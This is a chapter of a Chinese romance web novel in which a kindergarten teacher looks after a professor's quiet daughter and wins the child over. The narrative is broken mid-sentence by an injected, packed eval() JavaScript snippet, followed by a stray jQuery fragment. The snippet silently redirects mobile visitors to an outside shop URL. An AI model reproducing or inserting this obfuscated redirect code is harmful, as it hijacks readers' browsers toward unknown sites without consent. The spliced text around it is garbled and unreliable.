文趣网 > 其他小说 > 萤火盛夏 > 2. 第 2 章
    除了家庭住址,胡园长还给忻漾发了一份小朋友的基本信息:

    小朋友叫钟苏遥,是个即将上大班的小女孩儿,性格内向,不爱说话,来自单亲家庭,爸爸是一位大学教授。

    当时看到这份信息的时候,忻漾做梦也没想到,这位大学教授竟是丁屹洲的导师!

    忻漾看着门内的男人,惊讶得说不出话来。

    对方也有些意外,“你是……格兰特幼儿园的忻老师?”

    大概要出席正式场合,他换了一身白衬衣,挺括领口系着深色领带,衣摆束进修身长裤,越发显得清隽高挺。

    他身上瞧不出一点儿顶尖高校教授的严苛,可忻漾还是感觉到一股无形的压力。

    “对,我叫忻漾。”

    拎着包包的手指不自觉地捏紧,她压着心底的紧张,歉疚道,“之前在江大,我有眼不识泰山,把您当成丁屹洲的同学,耽误您宝贵的时间,实在对不起!”

    她说着往后退了一步,朝他鞠了一躬。

    “就花了几分钟而已……”钟望岑没想到她如此“小题大做”,

    “如果这都值得道歉,那我占用你一个下午,是不是该背着荆条向你请罪?”

    男人舒缓的声线里含着浅浅的笑意,好似穿林而过的清风,吹散了忻漾心头的局促与不安。

    她笑着摇头:“我反正没事,闲着也是闲着,不如陪小朋友玩来得开心。”

    “那就拜托你了!”钟望岑侧过身,把忻漾请进门。

    穿过玄关,便是开阔明亮的客厅。

    客厅是两层挑高的,南面是一幅巨大的落地玻璃窗,透过半敞的窗帘,可以看到外头沐浴着阳光的葳蕤庭院。

    客厅中间摆着一组深色的皮沙发,一个穿着白色连衣裙的小女孩儿趴在长沙发上,正在……

    刷短视频。

    各种怪诞的笑声、魔性的配音以及喧杂的背景音乐,从扬声器里传出来,与这沉静奢华的豪宅格格不入。

    忻漾愕然,这么小的孩子竟然刷手机视频?

    而她爸爸——

    忻漾看向走在自己侧前方的男人,他脸上不见任何异色,似乎早就见怪不怪了。

    不过片刻,两人就到了沙发前。

    钟望岑弯下腰,对小女孩儿和声说道:“苏遥,忻老师来了。”

    苏遥慢半拍地从手机屏幕上抬起头。

    “遥遥,下午好!”忻漾蹲下身,笑着冲她摇手,“我是格兰特幼儿园的星星老师,你认不认识我呀?”

    忻漾教的是小班,比苏遥低一个年级,平时虽然没什么交集,但出入园的时候还是有机会碰到。

    加上忻漾经常在全园活动上表演节目,园里的很多小朋友都认识她。

    不过苏遥性格内向,或许不会注意。

    忻漾已经做好苏遥摇头的心理准备,却没想到,她竟点了头。

    “真的?”忻漾眼睛一亮,笑意即刻染上眉梢。

    苏遥没说话,只是伸手指向忻漾的嘴。

    忻漾很快明白过来,她咧开嘴,露出箍在上牙上的银色牙套,“星星老师有牙套对不对?”

    苏遥默默地点了一下头。

    站在忻漾身侧的钟望岑点了点腕上的表,说:“苏遥,爸爸要走了。”

    通常来说,幼儿园小朋友和家长分开,即便只有短短几个小时,都会让他们恐慌。

    特别是苏遥这种单亲家庭的孩子,突然被丢给一个近乎陌生的外人,一定会极度不安。

    忻漾怕她哭闹,忙从包里拿出自己做的手工玩具,想借此分散她的注意力。

    却不想,苏遥只是平静地点了点头。

    这反应让忻漾意外。

    但转念一想,又觉得在情理之中。

    苏遥一定习惯了爸爸的忙碌,也早就明了,不管哭闹还是耍赖,都无法阻止爸爸离家的脚步——

    就像她小时候一样。

    忻漾曾经是个留守儿童。

    父母在外做生意,把她留在霞山岛上,和奶奶一起生活。

    父母偶尔回来,但过不了几天就会走。

    年纪小的时候,每每他们离开,她都会哭着追到码头去。

    后来渐渐长大,终于明白,无论自己哭得多伤心,他们都不会为她留下,更不会带她走。

    于是,每到他们离家的那天,她就早早起床,远远地躲到外面去。

    直到最后一班船离岛,才忍着眼泪,无精打采地回到那个空旷又寂寥的家。

    *

    研讨会一结束,钟望岑就立刻往家赶。

    却不想遇上晚高峰,堵在高架上动弹不得。

    到家的时候,已经将近七点。

    出发前,他和忻漾说,六点就能回来,眼下超了将近一个小时,她应该早走了。

    钟望岑推开家门,屋里子同往常一样安静。

    客厅里亮着灯,却不见人影。

    厨房里有水声传来,是钟点工刘姨在洗碗。

    听到脚步声,刘姨转脸看来,见是钟望岑,忙停下手上的活,笑道:“钟先生,您回来啦?”

    “嗯。”钟望岑停在厨房门口,问道,“苏遥呢?”

    刘姨回道:“在院子里玩呢。”

    见钟望岑抬脚就要走,她又立刻说道,“晚上苏遥吃了一整碗饭!”

    苏遥的吃饭问题一直让钟望岑头疼。

    回国两年,他换了不下十个做饭阿姨,连酒店的大厨也请回来过。

    可无论中餐、西餐还是日料,到了苏遥嘴里,都像苦药般难以下咽。

    每一顿饭,家庭老师费尽心思连哄带骗,也只能勉强喂下去一小半。

    中午家庭老师不在,苏遥吃的就越发“艰难”。

    可为什么到了晚上,她突然就胃口大开了?

    钟望岑停下脚步,疑惑道:“晚上吃的什么?”

    “就平常那些!”刘姨笑道,“主要是新来的老师厉害,说说笑笑,就让苏遥把碗里的饭全吃光了,还都是苏遥自个儿吃的,一勺都没让人喂!”

    片刻的惊讶之后,钟望岑恍然大悟——

    原来苏遥不是不喜欢吃饭,而是没遇上让她喜欢吃饭的人。

    和刘姨说了声“辛苦”,他大步往院子里去。

    穿过客厅,拉开玻璃移门,他看到灯火通明的庭院里,有一大一小两个身影。

    小的是苏遥,大的——

    是忻漾。

    她还没走。

    盛夏的天黑得晚,西边的天际还染着橙色的晚霞,小半片月亮却已挂上树梢。

    院墙边一棵高大的合欢树正值花期,点缀着粉色绒花的繁茂枝叶在空中恣意伸展,似一把巨大的绿伞。

    伞下摆着一张长桌,桌沿用胶带粘着一排纸杯。

    忻漾站在纸杯这一侧,苏遥则站在对面,将一个个乒乓球沿着桌面往纸杯里滚。

    可她的力道要么小了,球滚到一半就停在桌子当中;要么大了,球直接飞了出去。

    好不容易控制好力道,偏偏又滚到两个纸杯间的空隙里。

    苏遥有些气馁,忻漾却耐心十足。

    她时而给小朋友一些“技术”上的指导,时而拍着手为她加油鼓劲。

    很快,苏遥手上只剩下最后一个球。

    “瞄准这里!”忻漾弯着腰,将食指竖在正中间那只纸杯的上方,冲对面的苏遥说道,“加油!”

    苏遥抿着唇点了点

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632409|206428||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头,然后将手上的乒乓球用力往前一推。

    白色的小球沿着胡桃色的桌面咕噜噜地滚出去,然后——

    在两双眼睛一眨不眨地注视下,不偏不倚地掉进纸杯里。

    “耶!”忻漾和苏遥不约而同地跳起来,那激动的欢呼声打破夜的宁静,让钟望岑的嘴角不由自主地上扬。

    他跨出门,朝她们走去。

    正好苏遥转过身来,脸上那对小梨涡撞入他眼中。

    光影交错的暮色里,一张相似的笑脸陡然浮现在眼前。

    心脏像被什么东西狠狠揪了一下,钟望岑猛地刹住脚步。

    忻漾将纸杯中的小球捡出来,余光瞥见一道颀长的身影。

    她下意识地转过脸,只见几米开外的移门旁站着个身姿高挺的男人。

    天边的霞光已经彻底隐去,亮白的灯光从客厅里斜照出来,男人背着光,一动不动地立在深蓝的夜幕下。

    晚风吹起他额前的碎发,一双修长的眸子隐在眉骨下的阴影里,一瞬不瞬地凝在苏瑶脸上。

    那目光没有焦距,看起来更像透过苏遥,看向虚空中的另一张脸。

    忻漾想和他打声招呼,又怕打扰到他,犹豫间,见那双沉黑的眸子突然朝自己看来。

    目光相接的刹那,那种似曾相识的感觉又一次掠过脑海。

    忻漾忽地怔住。

    她好像在哪里见过这样一双眼睛——

    一双黢黑无光又藏着深切悲戚的眼睛,像冬日荒原里的一片湖,冷寂得让人心底发凉。

    中午在江大第一次见到他的时候,忻漾也有过这种感觉。

    后来得知苏遥在格兰特幼儿园上学,她便猜测,他们可能在幼儿园里打过照面。

    可此刻想来,他们之间曾经交错的时光,似乎并不在接送孩子时那样欢快的、充满亮光和欢声笑语的幼儿园里……

    可又会在哪里?

    就在忻漾暗自在脑海里搜寻记忆的时候,钟望岑迈开双腿朝她走来。

    “抱歉,忻老师,让你久等了。”

    男人的神色恢复如常,嗓音却不似平时那般清润,听起来暗哑又沉郁,一如此时即将被黑暗吞噬的天空。

    忻漾扯断心底纷杂的思绪,冲钟望岑晃了晃手上的乒乓球,笑道:“没事,我和苏遥玩得正开心呢。”

    苏遥闻言,立刻奶声奶气地应了一声:“嗯,开心!”

    钟望岑侧头看向长桌旁的小女孩儿。

    她的发丝有些乱,脸颊红扑扑的,眼里闪着晶亮的笑意。

    这个向来寡言的孩子,不过和忻漾呆了半天,就有了生动的模样。

    心底那潭死水泛起微澜,钟望岑笑着问她:“那你有没有谢谢星星老师?”

    “谢谢星星老师!”

    苏遥带着几分腼腆,乖巧地冲忻漾道了声谢,随即又跑到钟望岑跟前,高高仰起脸,满眼期待地问道:“爸爸,星星老师,明天还来吗?”

    钟望岑被问住了。

    他下意识地看向两步之外的忻漾。

    她似乎没想到小朋友会提出这样的问题,唇边的笑容有一点僵。

    钟望岑收回目光,将宽大的双手放在苏遥单薄的肩膀上,俯身直视她的眼睛。

    他想告诉她,得到别人的帮助时,要懂得感恩、要投桃报李,但最重要的,是不能得寸进尺、贪心不足。

    可不知为什么,到了嘴边的那些大道理,竟一个字都说不出来。

    他张了张嘴,最终还是败给了心中的贪念。

    “忻老师……”

    钟望岑慢慢直起身,一双映着橘色灯光的黑眸对上忻漾的视线,一字一句地问道,

    “明天,还能见到你吗?”